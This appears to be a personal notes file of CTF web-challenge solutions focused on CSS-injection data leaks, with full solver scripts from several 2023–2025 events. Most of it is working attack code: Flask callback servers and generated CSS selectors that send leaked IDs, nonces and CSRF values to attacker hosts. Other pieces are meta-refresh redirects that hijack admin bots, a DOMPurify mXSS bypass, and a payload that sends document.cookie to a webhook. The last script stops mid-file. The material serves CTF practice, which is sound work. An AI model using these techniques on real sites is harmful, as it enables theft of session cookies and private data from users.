Bidirectional Single non trigram CSSLeak
| Event Name | Cyber Jawara |
| GitHub URL | https://github.com/sksd-id/CJ2025-public |
| Challenge Name | Insanity Check |
Attachments
References
solver
import itertools
import random
import string
import threading
import asyncio
import aiohttp
import requests
from flask import Flask, request, jsonify
# ================= CONFIGURATION =================
class Config:
TARGET_URL = "http://1pc.tf:13371/"
# The attacker's IP/Port (Where this script runs)
CALLBACK_HOST = "http://1pc.tf:8000"
# Challenge specific constants
PREFIX_PATH = "/workspace/display/"
HEX_CHARS = "0123456789abcdef"
CHUNK_LENGTH = 2 # How many chars we guess at a time
MAX_ID_LEN = 25 # Length of the ID we are stealing
# Bot/Browser headers
HEADERS = {
"Cache-Control": "max-age=0",
"Accept-Language": "en-US,en;q=0.9",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": (
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/143.0.0.0 Safari/537.36"
),
"Accept": "*/*",
}
# ================= STATE MANAGEMENT =================
class ExploitState:
"""Manages the current knowledge of the leaked ID."""
def __init__(self):
self.prefix = ""
self.suffix = ""
self.prefix_hit = False
self.suffix_hit = False
def reset_hits(self):
"""Resets hit flags for the next round."""
self.prefix_hit = False
self.suffix_hit = False
def is_complete(self):
"""Checks if both prefix and suffix probes succeeded."""
return self.prefix_hit and self.suffix_hit
# Initialize Global State
state = ExploitState()
app = Flask(__name__)
# ================= UTILITIES =================
def rand_str(length=8) -> str:
"""Generates a random alphanumeric string."""
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
def merge_prefix_suffix(prefix: str, suffix: str, max_len: int) -> str:
"""Attempts to merge overlapping prefix and suffix strings."""
# Try to find overlap
for i in range(len(prefix)):
if prefix[i:] == suffix[:len(prefix) - i]:
merged = prefix + suffix[len(prefix) - i:]
return merged[:max_len]
# Fallback: simple concatenation if no overlap found
return (prefix + suffix)[-max_len:]
# ================= API CLIENT =================
class CTFClient:
"""Handles interaction with the target CTF server."""
def __init__(self):
self.session = requests.Session()
self.session.headers.update(Config.HEADERS)
self._authenticate()
def _authenticate(self):
"""Registers and logs in a random user."""
username = rand_str()
creds = {
"username": username,
"email": f"{username}@gmail.com",
"password": username,
"confirm_password": username,
}
# Register
self.session.post(f"{Config.TARGET_URL}/identity/signup", data=creds)
# Login
self.session.post(f"{Config.TARGET_URL}/identity/signin", data=creds)
print(f"[+] Authenticated as: {username}")
def post_note(self, content: str) -> str:
"""Creates a note/document and returns its location."""
resp = self.session.post(
f"{Config.TARGET_URL}/workspace/compose",
data={"title": "exploit", "content": content},
allow_redirects=False,
)
return resp.headers.get("Location", "")
def get_flag(self, note_id: str) -> str:
"""Retrieves the flag from the target note."""
url = f"{Config.TARGET_URL}/workspace/display/{note_id}"
resp = self.session.get(url)
try:
# Extract content between hidden p tags
start_marker = '<p id="document-body-hidden">'
end_marker = '</p>'
content = resp.text.split(start_marker)[1].split(end_marker)[0]
return content
except IndexError:
return "Failed to parse flag"
# Initialize Client
client = CTFClient()
# ================= PAYLOAD GENERATION =================
def generate_css(prefix: str, suffix: str) -> str:
"""Generates the CSS payload to brute-force the next characters."""
combinations = map("".join, itertools.product(Config.HEX_CHARS, repeat=Config.CHUNK_LENGTH))
rules = []
for h in combinations:
# Check if ID starts with (KnownPrefix + Guess)
rules.append(
f'a[href^="{Config.PREFIX_PATH}{prefix}{h}"] {{ '
f'cursor: url("{Config.CALLBACK_HOST}/leak?x={h}"), auto; }}'
)
# Check if ID ends with (Guess + KnownSuffix)
rules.append(
f'a[href$="{h}{suffix}"] {{ '
f'list-style-image: url("{Config.CALLBACK_HOST}/end?x={h}"); }}'
)
return "\n".join(rules)
# ================= FLASK ROUTES =================
@app.route("/leak")
def leak():
"""Callback when a prefix match is found."""
state.prefix_hit = True
chunk = request.args.get("x", "")
state.prefix += chunk
# print(f"[*] Prefix Hit: {chunk} -> Total: {state.prefix}")
return "", 204
@app.route("/end")
def end():
"""Callback when a suffix match is found."""
state.suffix_hit = True
chunk = request.args.get("x", "")
state.suffix = chunk + state.suffix
# print(f"[*] Suffix Hit: {chunk} -> Total: {state.suffix}")
return "", 204
@app.route("/status")
def status():
"""Called by the bot via JS to check if it should reload."""
success = state.is_complete()
if success:
state.reset_hits()
return jsonify(success=success)
@app.route("/")
def index():
"""Main exploit controller."""
# Check if we have recovered enough characters
current_len = len(state.prefix) + len(state.suffix)
if current_len >= Config.MAX_ID_LEN:
flag_id = merge_prefix_suffix(state.prefix, state.suffix, Config.MAX_ID_LEN)
print(f"\n[!!!] ID RECOVERED: {flag_id}")
print(f"[!!!] FLAG CONTENT: {client.get_flag(flag_id)}\n")
return "Exploit Complete. Check Console."
# 1. Generate CSS Payload
css_content = generate_css(state.prefix, state.suffix)
payload_html = f'<div id="user-theme-styles"><style>{css_content}</style></div>'
# 2. Upload Payload to Target
note_loc = client.post_note(payload_html)
print(f"[>] Progress: Prefix='{state.prefix}' | Suffix='{state.suffix}'")
# 3. Serve JS to the bot to open the note and poll for status
return f"""
<script>
// Open the note containing the malicious CSS
window.open('http://note:5000{note_loc}');
// Reset to home briefly to clear cursor state if needed
setTimeout(() => window.open('http://note:5000/workspace/home'), 150);
// Poll this server to see if we got hits; if so, reload to guess next chunk
setInterval(() => {{
fetch('/status')
.then(r => r.json())
.then(d => {{
if(d.success) location.reload();
}});
}}, 150);
</script>
"""
# ================= ASYNC REPORTING =================
async def send_report_async(url_to_visit):
"""Async wrapper to report the URL to the admin bot."""
async with aiohttp.ClientSession() as s:
async with s.post(
f"{Config.TARGET_URL}/report/",
data={"url": url_to_visit},
) as r:
text = await r.text()
print(f"[*] Bot Report Sent: {r.status} | Response: {text[:50]}...")
def trigger_bot(url):
"""Fires the report in a background thread."""
threading.Thread(
target=lambda: asyncio.run(send_report_async(url)),
daemon=True,
).start()
# ================= ENTRY POINT =================
if __name__ == "__main__":
# 1. Create the initial redirect note
# This directs the bot from the CTF domain to our flask server
redirect_html = f'<meta http-equiv="refresh" content="0;url={Config.CALLBACK_HOST}">'
redirect_path = client.post_note(redirect_html)
full_target_url = "http://note:5000" + redirect_path
print(f"[*] Initial Payload Uploaded at: {redirect_path}")
print(f"[*] Triggering Bot to visit: {full_target_url}")
# 2. Tell the bot to visit the note
trigger_bot(full_target_url)
# 3. Start Attack Server
app.run(host="0.0.0.0", port=8000, debug=False)Another font CSS leak
| Event Name | Crew CTF 2025 |
| GitHub URL | |
| Challenge Name | Hate Notes |
Attachments
solve
import json
import time
import random
import string
import requests
URL = "http://localhost:8000"
# Example:
# f54dbf57-3317-4d6c-b903-bc56868fd728
EXFILTRATION = "https://player.requestcatcher.com/"
UID = ""
def register(user, password):
r = requests.post(URL+'/api/auth/register', data={'email': user, 'password': password})
def login(user, password):
r = requests.post(URL+'/api/auth/login', data={'email': user, 'password': password}, allow_redirects=False)
return r.cookies["token"]
def first_payload(cookie):
global UID
payload = ""
for letter in string.hexdigits[:16]:
character = UID + letter
payload += """
@font-face {
font-family: exfilFont"""+character+""";
src: url(""" + EXFILTRATION + """?id="""+character+""");
}
a[href^='/api/notes/""" + character + """'] {
font-family: exfilFont"""+character+""";
}
"""
return json.loads(requests.post(URL+'/api/notes', cookies=cookie, data={'title':payload, 'content':' '}).text)["id"]
def second_payload(id, cookie):
payload = f"""<link rel=stylesheet href="/static/api/notes/{id}"/>"""
return json.loads(requests.post(URL+'/api/notes', cookies=cookie, data={'title':payload, 'content': ' '}).text)["id"]
def report(id, cookie):
print(f"Reporting... {id}")
r = requests.post(URL+'/report', cookies=cookie, data={'noteId': id})
print(r.text)
USER = ''.join(random.choice(string.digits+string.ascii_letters) for _ in range(10))
PASSWORD = ''.join(random.choice(string.digits+string.ascii_letters) for _ in range(10))
print(f"USER {USER} -- PASSWORD {PASSWORD}")
register(USER, PASSWORD)
cookie = login(USER, PASSWORD)
while True:
print(f"[X] UID: {UID}")
id = first_payload({'token': cookie})
id = second_payload(id, {'token': cookie})
report(id, {'token': cookie})
time.sleep(0.5)
new_char = input("> ")
UID += new_char
if len(UID) in [8,13,18,23]:
UID += '-'font CSS leak
| Event Name | ITSEC CTF 2025 |
| GitHub URL | https://github.com/ITSEC-ASIA-ID/2025-ITSEC-Asia-Summit-Public |
| Challenge Name | note app revenge |
Attachments
solve
from flask import Flask, Response, make_response, request
import requests
import threading
current_note = ""
known_prefix = "/notes/view/"
app = Flask(__name__)
import string
import requests
HOST = "http://52.77.234.0:50002/"
# HOST = "http://localhost:50002/"
EXFIL_URL = "http://HOST:8000/"
req = requests.Session()
username = "bengsky13"
password = "haha123@A"
email = "bengskysec@gmail.com"
req.post(HOST+"/auth/register", data={
"username":username,
"password":password,
"email":email,
"confirm_password":password
})
req.post(HOST+"/auth/login", data={
"username":username,
"password":password,
"email":email,
"confirm_password":password
})
##Create redirection
redirect = req.post(HOST+"/notes/create", data={
"title":"1",
"content":f"<meta http-equiv=\"refresh\" content=\"0;url={EXFIL_URL}\">"
}, allow_redirects=False).headers.get('Location').split("/")[-1]
print("Redirect id", redirect)
charset = "01234567890abcdef"
def generate_css_payload(prefix):
css = ""
for c1 in charset:
for c2 in charset:
attempt = prefix + c1 + c2
font_name = f"LeakFont_{attempt}"
font_url = f'{EXFIL_URL}leak?id={attempt}'
selector = f'a[href^="{attempt}"]'
# @font-face definition
css += f'@font-face {{\n'
css += f' font-family: "{font_name}";\n'
css += f' src: url("{font_url}") format("woff2");\n'
css += f'}}\n'
# Apply font-family to matched elements
css += f'{selector} {{ font-family: "{font_name}" !important; }}\n\n'
return css
def create_note():
global req
global known_prefix
global HOST
payload = generate_css_payload(known_prefix)
url = HOST+"/notes/create"
data = {
"title": "x",
"content": f'<div id="custom-theme-styles">{payload}</div><form name="options"><input id="custom_theme"></form><script x="'
}
response = req.post(url, data=data, allow_redirects=False)
return(response.headers.get('Location'))
@app.route('/')
def index():
global HOST
html = f'''
<!DOCTYPE html>
<html>
<head>
<title>CSS Leak</title>
</head>
<body>
<script type="module">
function sleep(ms) {{
return new Promise(resolve => setTimeout(resolve, ms));
}}
(async() =>{{
await sleep(200)
for(let i = 0; i<16; i++){{
const x = await fetch("/prefix")
const y = await x.text()
window.open("http://localhost:5001/"+y, "_blank")
window.open("http://localhost:5001/notes/dashboard", "_blank")
}}
const x = await fetch("/done")
}})()
</script>
</body>
</html>
'''
return make_response(html)
@app.route('/prefix')
def prefixs():
global known_prefix
return Response(create_note(), mimetype='text/plain')
@app.route('/done')
def done():
global known_prefix
print(req.get(HOST+known_prefix).text.split('<p>Here is your flag: ')[1].split('</')[0])
return Response(create_note(), mimetype='text/plain')
@app.route('/leak')
def leak():
global known_prefix
prefixs = request.args.get('id')
known_prefix = prefixs
return Response('ok', mimetype='text/plain')
def submit_bot():
print("Submiting to bot")
req.post(HOST+"/bot/report", json={
"note_id":redirect
})
if __name__ == '__main__':
print("[*] Waiting for leak to trigger...")
threading.Thread(target=submit_bot, daemon=True).start()
app.run(port=8000, host="0.0.0.0")
Leaking CSS selectors without network exfiltration
| Event Name | COR CTF 2025 |
| GitHub URL | - |
| Challenge Name | paper |
Attachments
References
paper:
TLDR; Leaking CSS selectors without network exfiltration. I spent a lot of time trying to use crashing payloads but took too long, ended up being able to use the <object> tag to count frames conditionally instead. This was a lot faster and got me under the minute required for the bot
<script>
//const TARGET = "https://paper-1d9799b1449de640.ctfi.ng";
const TARGET = "http://127.0.0.1:8080";
const ALPHABET = "0123456789abcdef".split("").join("");
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
function htmlEncode(str) {
return str.replace(/&/g, "&").replace(/</g, "<").replace(/"/g, """);
}
function test(mid, backward = false) {
return new Promise((resolve) => {
console.log("chars", ALPHABET.split("").slice(0, mid));
const selectors = ALPHABET.split("")
.slice(0, mid)
.map((c) => `body[secret${backward ? "$" : "^"}="${backward ? c + suffix : prefix + c}"] object#leak`)
.join(",");
// To detect if a selector matched, conditionally display an <object> so that .length changes from 1 to 2
const payload = `
<style>
${selectors} {
display: none;
}
</style>
<object id="leak" data=about:blank></object>
<object data=about:blank></object>
`;
const url = TARGET + "/secret?" + new URLSearchParams({ payload });
// To bypass SameSite=Strict, a meta refresh will cause the *target* to make the request
const metaPayload = `<meta http-equiv="refresh" content="0;${htmlEncode(url)}">`;
const metaUrl = TARGET + "/secret?" + new URLSearchParams({ payload: metaPayload });
const w = window.open(metaUrl, "", "width=1,height=1");
const interval = setInterval(async () => {
// After at least one object has loaded
if (w.length > 0) {
clearInterval(interval);
// Wait a small bit for potentially the 2nd to load (if it's not `display: none`)
await sleep(100);
const length = w.length;
w.close();
// Check if the selector matched. If it's 2, didn't match
resolve(length === 1);
}
}, 0);
});
}
async function binarySearch(low, high, backward = false) {
while (low !== high) {
const mid = Math.floor((low + high) / 2);
if (await test(mid + 1, backward)) {
high = mid;
} else {
low = mid + 1;
}
}
return low;
}
let prefix = "";
let suffix = "";
// We search forward (^=) and backward ($=) simultaneously
(async () => {
for (let i = 0; i < 16; i++) {
// Use binary search for highest efficiency
const found = await binarySearch(0, ALPHABET.length - 1);
prefix += ALPHABET[found];
console.log("Found", prefix);
navigator.sendBeacon("/log?prefix=" + prefix);
}
})();
(async () => {
for (let i = 0; i < 16; i++) {
const found = await binarySearch(0, ALPHABET.length - 1, true);
suffix = ALPHABET[found] + suffix;
console.log("Found", suffix);
navigator.sendBeacon("/log?suffix=" + suffix);
}
})();
</script>
<!-- http://localhost:8000/leak_frame.html -->
Trigrams CSS leak using seperated css if the server have upload limitation
| Event Name | ITSEC CTF Quals 2025 |
| GitHub URL | - |
| Challenge Name | note app biasa |
Attachments
trigrams css generator
#!/usr/bin/env python3
import itertools
URL = "http://8.tcp.ngrok.io:12051"
TEMPLATE_START = '''a[href^="/notes/view/%s"]{--a_%s: url(%s?START=%s);}'''
TEMPLATE_MATCH = '''a[href*="%s"]{--b_%s: url(%s?MATCH=%s);}'''
TEMPLATE_END = ''' a[href$="%s"]{--c_%s: url(%s?END=%s);}'''
TEMPLATE_BACKGROUND_SCRIPT = '''a[href^="/notes/view/"]{background: %s;}'''
CHARSET = "0123456789abcdef"
CSS_DIR = "static/css"
start_css = ""
end_css = ""
match_css_1 = ""
match_css_2 = ""
match_css_3 = ""
props_start = []
props_end = []
props_match_1 = []
props_match_2 = []
props_match_3 = []
for cs in itertools.product(CHARSET, repeat=2):
s = "".join(cs)
start_css += TEMPLATE_START % (s, s, URL, s)
end_css += TEMPLATE_END % (s, s, URL, s)
props_start.append(f"var(--a_{s},none)")
props_end.append(f"var(--c_{s},none)")
for i, cs in enumerate(itertools.product(CHARSET, repeat=3)):
s = "".join(cs)
if i <= 3500:
match_css_1 += TEMPLATE_MATCH % (s, s, URL, s)
props_match_1.append(f"var(--b_{s},0)")
elif i <= 7000:
match_css_2 += TEMPLATE_MATCH % (s, s, URL, s)
props_match_2.append(f"var(--b_{s},0)")
elif i <= 10500:
match_css_3 += TEMPLATE_MATCH % (s, s, URL, s)
props_match_3.append(f"var(--b_{s},0)")
with open(f'{CSS_DIR}/first.css', 'wt') as fp:
fp.write(start_css)
fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props_start)))
with open(f'{CSS_DIR}/second.css', 'wt') as fp:
fp.write(end_css)
fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props_end)))
with open(f'{CSS_DIR}/third.css', 'wt') as fp:
fp.write(match_css_1)
fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props_match_1)))
with open(f'{CSS_DIR}/fourth.css', 'wt') as fp:
fp.write(match_css_2)
fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props_match_2)))
with open(f'{CSS_DIR}/fifth.css', 'wt') as fp:
fp.write(match_css_3)
fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props_match_3)))trigrams solver
def reconstruct_from_start(trigrams, start):
"""Reconstruct sequence from start until no more trigrams can be used"""
used_trigrams = set()
sequence = start
while True:
found_extension = False
if len(sequence) >= 2:
last_two = sequence[-2:]
for trigram in trigrams:
if trigram not in used_trigrams and trigram.startswith(last_two):
sequence += trigram[-1]
used_trigrams.add(trigram)
found_extension = True
break
if not found_extension:
break
return sequence, used_trigrams
def reconstruct_from_end(trigrams, end):
"""Reconstruct sequence from end (backwards) until no more trigrams can be used"""
used_trigrams = set()
sequence = end
while True:
found_extension = False
if len(sequence) >= 2:
first_two = sequence[:2]
for trigram in trigrams:
if trigram not in used_trigrams and trigram.endswith(first_two):
sequence = trigram[0] + sequence
used_trigrams.add(trigram)
found_extension = True
break
if not found_extension:
break
return sequence, used_trigrams
def construct_middle_part(remaining_trigrams, start_seq, end_seq, target_length):
"""Try to construct the missing middle part using remaining trigrams"""
if not remaining_trigrams:
return None
current_length = len(start_seq) + len(end_seq)
needed_middle_length = target_length - current_length
if needed_middle_length <= 0:
return None
def try_chain_trigrams(trigrams_list, current_sequence="", used=set()):
if len(current_sequence) == needed_middle_length:
return current_sequence, used
if len(current_sequence) > needed_middle_length:
return None
for trigram in trigrams_list:
if trigram in used:
continue
if not current_sequence:
result = try_chain_trigrams(trigrams_list, trigram, used | {trigram})
if result:
return result
else:
if len(current_sequence) >= 2 and trigram.startswith(current_sequence[-2:]):
new_sequence = current_sequence + trigram[-1]
result = try_chain_trigrams(trigrams_list, new_sequence, used | {trigram})
if result:
return result
return None
return try_chain_trigrams(list(remaining_trigrams))
def advanced_trigram_solver(trigrams, start, end, target_length=16):
"""
Advanced reconstruction strategy:
1. Reconstruct from start until no more can be constructed
2. Reconstruct from end until no more can be reconstructed
3. Check if there's missing part between start and end constructs
4. If missing, use leftover trigrams to construct the gap
5. If constructed gap length matches missing length, that's the answer
"""
trigram_set = set(trigrams)
# Step 1: Reconstruct from start
start_sequence, start_used = reconstruct_from_start(trigram_set, start)
# Step 2: Reconstruct from end
remaining_after_start = trigram_set - start_used
end_sequence, end_used = reconstruct_from_end(remaining_after_start, end)
# Step 3: Check for overlap or gap
remaining_trigrams = trigram_set - (start_used | end_used)
# Check if sequences overlap
if start_sequence.endswith(end_sequence):
overlap_len = len(end_sequence)
return start_sequence[:-overlap_len] + end_sequence
elif end_sequence.startswith(start_sequence):
overlap_len = len(start_sequence)
return start_sequence + end_sequence[overlap_len:]
else:
# There's a gap - try to fill it
current_total_length = len(start_sequence) + len(end_sequence)
missing_length = target_length - current_total_length
if missing_length <= 0:
combined = start_sequence + end_sequence
return combined[:target_length] if len(combined) >= target_length else combined
# Step 4: Construct middle part
middle_result = construct_middle_part(remaining_trigrams, start_sequence, end_sequence, target_length)
if middle_result:
middle_part, middle_used = middle_result
if len(middle_part) == missing_length:
return start_sequence + middle_part + end_sequence
# Fallback
return start_sequence + end_sequence
if __name__ == "__main__":
print(advanced_trigram_solver(['800', '6a4', '4f3', '459', '597', '7df', '404', '380', '97d', 'a4f', '045'], start="40", end="00", target_length=16))server
import asyncio
import httpx
from threading import Thread
import json
from tri import advanced_trigram_solver
PORT = 4444
# URL = "http://localhost:5001"
URL = "http://54.254.152.24:5001"
PUBLIC_URL = "http://8.tcp.ngrok.io:12051"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url, verify=False, timeout=10000)
self.session = ""
class API(BaseAPI):
def register(self, username, email, password):
return self.c.post("/auth/register", data={
"username": username,
"email": email,
"password": password,
"confirm_password": password
})
def login(self, username, password):
return self.c.post("/auth/login", data={
"username": username,
"password": password
})
def create_note(self, title, content):
return self.c.post("/notes/create", data={
"title": title,
"content": content
})
def report(self, note_id):
return self.c.post(f"/bot/report", json={
"note_id": note_id
})
GSTART = ""
GEND = ""
GTRIGRAMS = []
PREV_TRIGRAMS_LEN = len(GTRIGRAMS)
TARGET = "http://localhost:5001/"
NOTES = {}
def webServer():
from flask import Flask, request, send_from_directory, jsonify
import random
import string
app = Flask(__name__, static_folder='static')
index = open("static/index.html").read()
@app.route("/static/<path:filename>")
def static_files(filename):
return send_from_directory(app.static_folder, filename)
@app.route("/exploit", methods=["GET"])
def exploit():
global TARGET, NOTES
html = index.replace("{{TARGET}}", TARGET)
html = html.replace("{{NOTES}}", json.dumps(NOTES))
return html, 200
@app.route("/", methods=["GET"])
def root():
global GSTART, GEND, GTRIGRAMS
START = request.args.get('START', "")
END = request.args.get('END', "")
MATCH = request.args.get('MATCH', "")
if len(START) > 0:
GSTART = START
elif len(END) > 0:
GEND = END
elif len(MATCH) > 0:
GTRIGRAMS.append(MATCH)
print(GSTART, GEND, GTRIGRAMS)
return jsonify(message="Hello World")
return Thread(target=app.run, args=('0.0.0.0', PORT))
# sometimes it's not working, so we need to run it multiple times
async def main():
api = API()
server = webServer()
server.start()
await api.register("fooman", "fooman@fooman.com", "fooman")
await api.login("fooman", "fooman")
# redirect to our website using meta redirect
res = await api.create_note("1", f"<meta http-equiv='refresh' content='0; url={PUBLIC_URL}/exploit'>")
NOTES["redirect"] = res.headers["Location"]
with open("static/css/first.css", "r") as fp:
res = await api.create_note("2", f"<i id='custom-theme-styles'>{fp.read()}</i>")
print(res.text)
NOTES["css1"] = res.headers["Location"]
with open("static/css/second.css", "r") as fp:
res = await api.create_note("3", f"<i id='custom-theme-styles'>{fp.read()}</i>")
print(res.text)
NOTES["css2"] = res.headers["Location"]
with open("static/css/third.css", "r") as fp:
res = await api.create_note("4", f"<i id='custom-theme-styles'>{fp.read()}</i>")
print(res.text)
NOTES["css3"] = res.headers["Location"]
with open("static/css/fourth.css", "r") as fp:
res = await api.create_note("5", f"<i id='custom-theme-styles'>{fp.read()}</i>")
print(res.text)
NOTES["css4"] = res.headers["Location"]
with open("static/css/fifth.css", "r") as fp:
res = await api.create_note("6", f"<i id='custom-theme-styles'>{fp.read()}</i>")
print(res.text)
NOTES["css5"] = res.headers["Location"]
await api.report(NOTES["redirect"].replace("/notes/view/", ""))
while True:
await asyncio.sleep(1)
result = advanced_trigram_solver(GTRIGRAMS, start=GSTART, end=GEND, target_length=16)
print(result)
if result:
res = await api.c.get("/notes/view/"+result)
print(res.text)
break
server.join()
if __name__ == "__main__":
asyncio.run(main())
Retrieving user’s history using a :visited to leak 200 vs 404 status code
| Event Name | - |
| GitHub URL | - |
| Challenge Name | - |
Attachments
References
difference between firefox and chrome based
Rainbow Notes Csaw CTF 2023
https://github.com/SuperStormer/writeups/blob/master/csawctf_2023/web/rainbow-notes/rainbow5.py
this is use something using metarefesh and domclobering, is the domclobering become persistent?
https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#styling-scroll-to-text-fragment
https://github.com/osirislab/CSAW-CTF-2023-Quals/tree/main/web/rainbow-notes
https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
CSS leak can be splited into chunk, make it possible to leak nonce in single request.
https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/#splitting-the-url-into-smaller-chunks
0ctf 2023: new diary
![[Pasted image 20231211125623.png]] This way, the attacker server will know all the different chunks that the UUID consists of, but not their order. To reconstruct the correct UUID, the server has to stitch it back together by starting with one chunk and finding an overlapping one.
via cros-fade
img[src*="abc"] { --abc: url("//attacker.com/abc") }
img[src*="bcd"] { --bcd: url("//attacker.com/bcd") }
/* ... */img {
background-image: cross-fade( cross-fade(var(--abc, none), var(--bcd, none), 50%), cross-fade(/* ... */), 50% );}
you can do this to
<head> <script> const content = document.createElement('p'); content.innerHTML = ` <a nonce="nonc"><\/a> <a nonce="testn"><\/a> <a nonce="test2"><\/a> <style> body:has(main ~ script[nonce*="testn"]:last-of-type) * div * a[nonce="testn"] { background-image:url('/testn') } body:has(main ~ script[nonce*="test2"]:last-of-type) * div * a[nonce="test2"] { background-image:url('/test2') } body:has(main ~ script[nonce*="nonc"]:last-of-type) * div * a[nonce="nonc"] { background-image:url('/nonc') }</style>`;window.onload = function(){
document.getElementById("content").appendChild(content);}
</script></head><body><main id="container"> <h2 id="title"><p>xx</p></h2> <hr> <div id="content"></div> </main><script nonce="testnonce"></script></body>
newdiary writeup 0ctf
https://github.com/salvatore-abello/CTF-Writeups/tree/main/0ctf%20-%202023/newdiary https://blog.huli.tw/2023/12/11/en/0ctf-2023-writeup/
CSS Leak While In Title Context where with DOMPurify
<TABLE><TH><SVG><STYLE>@IMPORT URL(REDIRECT?URL=EO5VZGJXDJI72UU.M.PIPEDREAM.NET)<TITLE><COL><TITLE>
Fancy Text Viewer SDCTF 2024
<svg><title></title>INJECT</svg>
Interestingly, the latest patch in DOMPurify 3.1.3 was to fix a related mXSS vector in the title tag. You used to be able to essentially do something like this before:
DOMPurify.sanitize('<a title="</title><img src=x onerror=alert(1)>">')
Which would sanitize to :
<a title="</title><img src=x onerror=alert(1)>"></a>
If this was put inside the title context, the </title> in the string would exit the title and you would be able to get mxss.
Bypassing DOMPurify for Successful XSS Execution: namespace confusion (ch4n3.kr)
CSS leak bypass import
CSS leak trigrams technique
CJ 2025 quals
newdiary - One Shot CSS Injection (0CTF/TCTF 2023) | Hack On
solve.py
from flask import Flask, request, send_from_directory, jsonify
import requests
import random
import string
app = Flask(__name__, static_folder='static')
index = open("static/index.html").read()
GSTART = ""
GEND = ""
GTRIGRAMS = []
PREV_TRIGRAMS_LEN = len(GTRIGRAMS)
s = requests.Session()
def random_char(y):
return ''.join(random.choice(string.ascii_letters) for x in range(y))
@app.route("/static/<path:filename>")
def static_files(filename):
return send_from_directory(app.static_folder, filename)
@app.route("/exploit", methods=["GET"])
def exploit():
TARGET = "http://webapp:8001/"
html = index.replace("{{target}}", TARGET)
return html, 200
@app.route("/", methods=["GET"])
def root():
global GSTART, GEND, GTRIGRAMS
START = request.args.get('START', "")
END = request.args.get('END', "")
MATCH = request.args.get('MATCH', "")
if len(START) > 0:
GSTART = START
elif len(END) > 0:
GEND = END
elif len(MATCH) > 0:
GTRIGRAMS.append(MATCH)
print(GSTART, GEND, GTRIGRAMS)
return jsonify(message="Hello World")
@app.route("/nonce", methods=["GET"])
def getnonce():
global GSTART, GEND, GTRIGRAMS, PREV_TRIGRAMS_LEN
try:
curr_trigrams_len = len(GTRIGRAMS)
if curr_trigrams_len == PREV_TRIGRAMS_LEN and curr_trigrams_len != 0:
nonce = trigram_solver(GTRIGRAMS, start=GSTART, end=GEND)
nonce = next(iter(nonce))
return jsonify(nonce=nonce)
PREV_TRIGRAMS_LEN = curr_trigrams_len
except Exception as e:
print(e)
return jsonify(nonce="")
def trigram_solver(l, start="t2", end='ud'):
s = set(l)
solved = start
candidates = set([solved])
while len(next(iter(candidates))) != 32:
print(len(next(iter(candidates))), len(candidates))
new_candidates = set()
for candidate in candidates:
last_chr = candidate[-2:]
for cs in s:
if cs.startswith(last_chr):
new_candidate = candidate + cs[-1]
new_candidates.add(new_candidate)
candidates = new_candidates
final_candidates = set()
for candidate in candidates:
if candidate.endswith(end):
final_candidates.add(candidate)
return final_candidates
if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=8000)
static/index.html
<html>
<script>
const TARGET = "{{target}}"
// https://www.fastmail.com/blog/sanitising-html-the-dom-clobbering-issue/
let w = open(TARGET);
let sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
(async () => {
await sleep(1000);
w.location = `${TARGET}#<form><input name="childNodes"><input name="childNodes"><style>@import url(${origin}/static/css/first.css);</style></form>`
await sleep(5000);
w.location = `${TARGET}#<form><input name="childNodes"><input name="childNodes"><style>@import url(${origin}/static/css/second.css);</style></form>`
// get nonce
let nonce = "";
while (true) {
nonce = await fetch("/nonce").then(r => r.json());
console.log(nonce);
if (nonce.nonce.length != 32) {
await sleep(1000);
} else {
break;
}
}
w.location = TARGET +`#<form><input name="childNodes"><input name="childNodes"><iframe srcdoc="<script nonce=${nonce.nonce}>fetch(\`https://webhook.site/ff33c67d-c541-4203-b0a9-514187c18663?$\{document.cookie\}\`)<\/script>"></iframe></form>`
})();
</script>
</html>gencss.py
#!/usr/bin/env python3
import itertools
URL = "http://8.tcp.ngrok.io:15484"
TEMPLATE_START = '''*{display:block} script[nonce^="%s"]{
--props_%s: url(%s?START=%s);
}
'''
TEMPLATE_MATCH = '''*{display:block} script[nonce*="%s"]{
--prop_%s: url(%s?MATCH=%s);
}
'''
TEMPLATE_END = '''*{display:block} script[nonce$="%s"]{
--prope_%s: url(%s?END=%s);
}
'''
TEMPLATE_META = '''*{display:block} meta[content*="%s"]{
--prop_%s: url(%s?MATCH=%s);
}
'''
TEMPLATE_BACKGROUND_SCRIPT = '''*{display:block} script[nonce]{
background: %s;
}
'''
TEMPLATE_BACKGROUND_META = '''*{display:block} meta[content]{
background: %s;
}
'''
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"
CSS_DIR = "static/css"
all_css = ""
props = []
for cs in itertools.product(CHARSET, repeat=2):
s = "".join(cs)
all_css += TEMPLATE_START % (s, s, URL, s)
all_css += TEMPLATE_END % (s, s, URL, s)
props.append(f"var(--props_{s},none)")
props.append(f"var(--prope_{s},none)")
all_css2 = ""
props_2 = []
for i, cs in enumerate(itertools.product(CHARSET, repeat=3)):
s = "".join(cs)
if i <= 22000:
all_css += TEMPLATE_MATCH % (s, s, URL, s)
props.append(f"var(--prop_{s},none)")
else:
all_css2 += TEMPLATE_META % (s, s, URL, s)
props_2.append(f"var(--prop_{s},none)")
with open(f'{CSS_DIR}/first.css', 'wt') as fp:
fp.write(all_css)
fp.write(TEMPLATE_BACKGROUND_SCRIPT % (",".join(props)))
with open(f'{CSS_DIR}/second.css', 'wt') as fp:
